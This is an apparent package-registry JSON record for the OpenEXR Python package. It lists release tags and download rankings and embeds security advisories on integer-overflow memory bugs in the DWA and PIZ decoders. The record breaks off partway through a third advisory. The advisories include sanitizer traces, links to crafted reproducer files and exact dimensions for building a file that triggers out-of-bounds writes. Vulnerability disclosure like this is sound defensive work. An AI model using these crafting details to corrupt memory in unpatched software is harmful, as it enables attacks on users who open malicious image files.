Fopenexr/tags/OPENEXR_1_4_0a/manifests","release_url":null},{"name":"OPENEXR_1_4_0","sha":"4c134bd79f3ae2e216ae15a650a6f93ed117cb98","kind":"commit","published_at":"2006-08-02T19:33:35.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_4_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_4_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_4_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_4_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_4_0/manifests","release_url":null},{"name":"OPENEXR_1_3_2","sha":"9768c05b3241cc42e6cae82a72fb2e37f16cd310","kind":"commit","published_at":"2006-06-24T21:14:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_3_2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_3_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_3_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_2/manifests","release_url":null},{"name":"OPENEXR_1_3_1","sha":"37573dfa7af7a9f3c00d7f2eedc49409efa8cc10","kind":"commit","published_at":"2006-06-14T04:42:43.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_3_1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_3_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_3_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_1/manifests","release_url":null},{"name":"OPENEXR_1_3_0","sha":"57df96d49adc2106d93713b3513550c33a5d93d7","kind":"commit","published_at":"2006-06-08T10:05:31.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_3_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_3_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_3_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_3_0/manifests","release_url":null},{"name":"OPENEXR_1_2_2","sha":"f5c354552329e998f24116c1bdf124c245acea93","kind":"commit","published_at":"2005-08-17T15:34:29.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_2_2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_2_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_2_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_2_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_2_2/manifests","release_url":null},{"name":"OPENEXR_1_2_1","sha":"f28bae9d7e1b86516aa9240cdc782bdf05d5a2d6","kind":"commit","published_at":"2004-06-07T19:18:27.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_2_1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_2_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_2_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_2_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_2_1/manifests","release_url":null},{"name":"OPENEXR_1_1_1","sha":"4447ddc360e01ed61a4f07c11254c5d6c843e917","kind":"commit","published_at":"2004-03-27T08:33:22.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_1_1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_1_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_1_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_1_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_1_1/manifests","release_url":null},{"name":"OPENEXR_1_1_0","sha":"9db1a261472a0c4a71d29ca2905dae9683e3509d","kind":"commit","published_at":"2004-02-07T00:40:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_1_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_1_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_1_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_1_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_1_0/manifests","release_url":null},{"name":"OPENEXR_1_0_7","sha":"bf66ac796089f85842a6dc566da293d734c3326f","kind":"commit","published_at":"2004-02-03T01:51:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_0_7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_0_7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_0_7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_0_7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_0_7/manifests","release_url":null},{"name":"PHOTOSHOP_1_0","sha":"2555a5db5d13067d88fd0cfe11e690174f0e5751","kind":"commit","published_at":"2003-05-15T23:35:05.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/PHOTOSHOP_1_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/PHOTOSHOP_1_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@PHOTOSHOP_1_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/PHOTOSHOP_1_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/PHOTOSHOP_1_0/manifests","release_url":null},{"name":"D_EXR_1_0","sha":"e05ea33ecd987b2d2f7686c2ddb6cb2ba9bf62ad","kind":"commit","published_at":"2003-02-24T20:27:20.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/D_EXR_1_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/D_EXR_1_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@D_EXR_1_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/D_EXR_1_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/D_EXR_1_0/manifests","release_url":null},{"name":"OPENEXR_1_0_4","sha":"6e37ef8aed4e20ea834f570845533b65a97a3bc4","kind":"commit","published_at":"2003-01-21T06:34:28.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_0_4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_0_4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_0_4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_0_4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_0_4/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-10-26T01:33:07.349Z","dependent_packages_count":7,"downloads":603943,"downloads_period":"last-month","dependent_repos_count":43,"rankings":{"downloads":1.2211775476471838,"dependent_repos_count":2.2421060698957693,"dependent_packages_count":2.3406770471105083,"stargazers_count":14.838619453022627,"forks_count":10.158963718260424,"docker_downloads_count":null,"average":6.160308767187303},"purl":"pkg:pypi/openexr","advisories":[{"uuid":"GSA_kwCzR0hTQS1wOHhjLXczcTQtaDY0eM4ABU7_","url":"https://github.com/advisories/GHSA-p8xc-w3q4-h64x","title":"OpenEXR: DWA Lossy Decoder Heap Out-of-Bounds Write","description":"## Summary\n\nThe DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated `rowBlock` backing store.\n\nThis bug is reachable from the public decoder path and can be reproduced through the shipped `exrcheck` tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.\n\nTested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5\n\n## Root Cause and Data Flow\n\nThe vulnerable pointer construction lives in `src/lib/OpenEXRCore/internal_dwa_decoder.h`:\n\n```c\nfor (int comp = 1; comp \u003c numComp; ++comp)\n    rowBlock[comp] = rowBlock[comp - 1] + numBlocksX * 64;\n```\n\nThe expression `numBlocksX * 64` is computed as signed `int`. Once `numBlocksX` is large enough, the multiplication wraps, and `rowBlock[comp]` points backward rather than forward into the temporary decode buffer.\n\nLater, `LossyDctDecoder_execute()` uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for `rowBlockHandle`.\n\nThe public control flow is the standard one:\n\n```c\nInputFile / ScanLineInputFile public read\n  -\u003e exr_decoding_run(...)\n     -\u003e exr_uncompress_chunk(...)\n        -\u003e internal_exr_undo_dwaa(...)\n           -\u003e DwaCompressor_uncompress(...)\n              -\u003e LossyDctDecoder_execute(...)\n```\n\nUBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.\n\n## Reproduction\n\n[dwa_scanline_exrcheck.zip](https://github.com/user-attachments/files/26318786/dwa_scanline_exrcheck.zip)\n\nBuild with `exrcheck` with ASAN and run:\n\n```\n❯ ./build-asan/bin/exrcheck /tmp/dwa_scanline_exrcheck.exr\n file /tmp/dwa_scanline_exrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_dwa_decoder.h:331:58: runtime error: signed integer overflow: 33554432 * 64 cannot be represented in type 'int'\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0)\n==1684058==The signal is caused by a WRITE memory access.\n    #0 0x75979e850336 in LossyDctDecoder_execute /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_dwa_decoder.h:524\n    #1 0x75979e879592 in DwaCompressor_uncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_dwa_compressor.h:1210\n    #2 0x75979e879592 in internal_exr_undo_dwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_dwa.c:231\n    #3 0x75979e95f878 in exr_uncompress_chunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542\n    #4 0x75979e9659a8 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580\n    #5 0x7597a0271add in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586\n    #6 0x7597a0283dc4 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const\u0026, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500\n    #7 0x7597a00c6a81 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458\n    #8 0x7597a13fe2dc in readScanline\u003cImf_4_0::InputPart\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239\n    #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905\n    #10 0x7597a14126fd in runChecks\u003cchar const*\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171\n    #11 0x7597a14146b9 in Imf_4_0::checkOpenEXRFile(char const*, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835\n    #12 0x61ba9582b8f8 in exrCheck(char const*, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96\n    #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164\n    #14 0x75979d62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #15 0x75979d62a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #16 0x61ba95829844 in _start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_dwa_decoder.h:524 in LossyDctDecoder_execute\n==1684058==ABORTING\n```\n-------\nFound by: Quang Luong of Calif.io","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-08T15:09:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-p8xc-w3q4-h64x","https://nvd.nist.gov/vuln/detail/CVE-2026-34589","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9","https://github.com/advisories/GHSA-p8xc-w3q4-h64x"],"source_kind":"github","identifiers":["GHSA-p8xc-w3q4-h64x","CVE-2026-34589"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.115Z","updated_at":"2026-10-05T15:04:11.667Z","epss_percentage":0.00481,"epss_percentile":0.38777,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOHhjLXczcTQtaDY0eM4ABU7_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOHhjLXczcTQtaDY0eM4ABU7_","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.9","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.9"},{"first_patched_version":"3.3.9","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.9"},{"first_patched_version":"3.2.7","vulnerable_version_range":"\u003e= 3.2.0, \u003c 3.2.7"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOHhjLXczcTQtaDY0eM4ABU7_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01ODhyLWNyNWMtdzZoZs4ABU7-","url":"https://github.com/advisories/GHSA-588r-cr5c-w6hf","title":"OpenEXR has a signed 32-bit Overflow in PIZ Decoder Leads to OOB Read/Write","description":"## Summary\n\n`internal_exr_undo_piz()` advances the working wavelet pointer with signed 32-bit arithmetic:\n\n```c\nwavbuf += nx * ny * wcount;\n```\n\nBecause `nx`, `ny`, and `wcount` are `int`, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes.\n\nTested on commit 7820b7e1b93405ba1d551c43a945018226b75bc5\n\n## Technical Details\n\nThe vulnerable decode path is:\n\n1. `internal_exr_undo_piz()` sets `wavbuf = decode-\u003escratch_buffer_1`.\n2. For each channel, it calls `wav_2D_decode (wavbuf + j, ...)`.\n3. It then advances `wavbuf` with `wavbuf += nx * ny * wcount`.\n\nThe overflow happens in step 3. Once `wavbuf` is wrapped, the next channel's wavelet decode runs on the wrong address.\n\nIn the 14-bit wavelet path, `wdec14_4()` first reads:\n\n- `*px`\n- `*p10`\n- `*p01`\n- `*p11`\n\nand then writes back to the same locations:\n\n- `*px  = ...`\n- `*p01 = ...`\n- `*p10 = ...`\n- `*p11 = ...`\n\nAs a result, the bug is not just a crash-only invalid read. It is an out-of-bounds read/write condition.\n\n## Reproduction\n\n[piz_scanline_redzone.zip](https://github.com/user-attachments/files/26318946/piz_scanline_redzone.zip)\n\nBuild `exrcheck` with ASAN and run:\n\n```\n❯ ./build-asan/bin/exrcheck /tmp/piz_scanline_redzone.exr\n file /tmp/piz_scanline_redzone.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:373:19: runtime error: signed integer overflow: 134217724 * 32 cannot be represented in type 'int'\n=================================================================\n==1711239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bedc3934700 at pc 0x7bf1f100f498 bp 0x7ffe032d8f00 sp 0x7ffe032d8ef0\nREAD of size 2 at 0x7bedc3934700 thread T0\n    #0 0x7bf1f100f497 in wdec14_4 /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:148\n    #1 0x7bf1f100f497 in wav_2D_decode /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:403\n    #2 0x7bf1f100f497 in internal_exr_undo_piz /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:727\n    #3 0x7bf1f115b038 in exr_uncompress_chunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546\n    #4 0x7bf1f1161168 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580\n    #5 0x7bf1f2a71add in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586\n    #6 0x7bf1f2a83dc4 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const\u0026, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500\n    #7 0x7bf1f28c6a81 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458\n    #8 0x7bf1f3bfe2dc in readScanline\u003cImf_4_0::InputPart\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239\n    #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905\n    #10 0x7bf1f3c126fd in runChecks\u003cchar const*\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171\n    #11 0x7bf1f3c146b9 in Imf_4_0::checkOpenEXRFile(char const*, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835\n    #12 0x5d9675fce8f8 in exrCheck(char const*, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96\n    #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164\n    #14 0x7bf1efe2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #15 0x7bf1efe2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #16 0x5d9675fcc844 in _start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)\n\n0x7bedc3934700 is located 256 bytes before 8590720784-byte region [0x7bedc3934800,0x7befc39f4710)\nallocated by thread T0 here:\n    #0 0x7bf1f40fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69\n    #1 0x7bf1f115883e in internal_decode_alloc_buffer /home/pop/sec/openexr/src/lib/OpenEXRCore/coding.c:256\n    #2 0x7bf1f100da97 in internal_exr_undo_piz /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:643\n    #3 0x7bf1f115b038 in exr_uncompress_chunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546\n    #4 0x7bf1f1161168 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580\n    #5 0x7bf1f2a71add in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586\n    #6 0x7bf1f2a83dc4 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const\u0026, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500\n    #7 0x7bf1f28c6a81 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458\n    #8 0x7bf1f3bfe2dc in readScanline\u003cImf_4_0::InputPart\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239\n    #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905\n    #10 0x7bf1f3c126fd in runChecks\u003cchar const*\u003e /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171\n    #11 0x7bf1f3c146b9 in Imf_4_0::checkOpenEXRFile(char const*, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835\n    #12 0x5d9675fce8f8 in exrCheck(char const*, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96\n    #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164\n    #14 0x7bf1efe2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #15 0x7bf1efe2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #16 0x5d9675fcc844 in _start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c:148 in wdec14_4\nShadow bytes around the buggy address:\n  0x7bedc3934480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=\u003e0x7bedc3934700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7bedc3934800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7bedc3934880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7bedc3934900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7bedc3934980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==1711239==ABORTING\n```\n\nTo prove this is both READ and WRITE, we can also `memcheck` against non-ASAN release build:\n\n```sh\nvalgrind --tool=memcheck --leak-check=no --track-origins=no \\\n  --error-limit=no --num-callers=20 \\\n  ./build-relwithdebinfo/bin/exrcheck /tmp/piz_scanline_redzone.exr\n```\n\nObserved result:\n\n- `Invalid read of size 2` at [internal_piz.c:150](/home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c#L150)\n- `Invalid write of size 2` at [internal_piz.c:171](/home/pop/sec/openexr/src/lib/OpenEXRCore/internal_piz.c#L171)\n\nThis confirms the bug is an OOB read/write, not only a read-first crash.\n\n### Redzone-Oriented File\n\n- width: `67108862`\n- height: `32`\n- channel A: `FLOAT`, sampling `1 x 1`\n- channel B: `HALF`, sampling `33554431 x 16`\n\nThis makes:\n\n```text\nwidth * 32 * 2 = 4294967168\n```\n\nwhich wraps signed 32-bit arithmetic to `-128`.\n\nThat places the next `wavbuf` access just before the allocated buffer, producing a clean heap-overflow report.\n\n## Impact\n\nA crafted EXR file can trigger out-of-bounds memory access during PIZ decompression. The primitive includes both invalid reads and invalid writes. Depending on allocator layout and surrounding memory, this could lead to process crash, memory corruption, or potentially stronger exploitation outcomes.\n\n## Recommended Fix\n\n- compute channel span in 64-bit arithmetic\n- reject any overflow in `nx * ny * wcount`\n- validate cumulative per-channel decoded footprint against `outsz` before wavelet decode\n- fail decompression if channel-derived layout does not exactly fit the decompression buffer\n--------\nFound by: Quang Luong of Calif.io","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-08T15:09:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-588r-cr5c-w6hf","https://nvd.nist.gov/vuln/detail/CVE-2026-34588","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9","https://github.com/advisories/GHSA-588r-cr5c-w6hf"],"source_kind":"github","identifiers":["GHSA-588r-cr5c-w6hf","CVE-2026-34588"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.115Z","updated_at":"2026-10-05T15:04:11.668Z","epss_percentage":0.00567,"epss_percentile":0.4461,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ODhyLWNyNWMtdzZoZs4ABU7-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01ODhyLWNyNWMtdzZoZs4ABU7-","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.9","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.9"},{"first_patched_version":"3.3.9","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.9"},{"first_patched_version":"3.2.7","vulnerable_version_range":"\u003e= 3.1.0, \u003c 3.2.7"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ODhyLWNyNWMtdzZoZs4ABU7-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNnZqLXd4dmYtNW04Y84ABUyd","url":"https://github.com/advisories/GHSA-q6vj-wxvf-5m8c","title":"OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp","description":"## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121–136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize ();           // e.g., 21 (actual 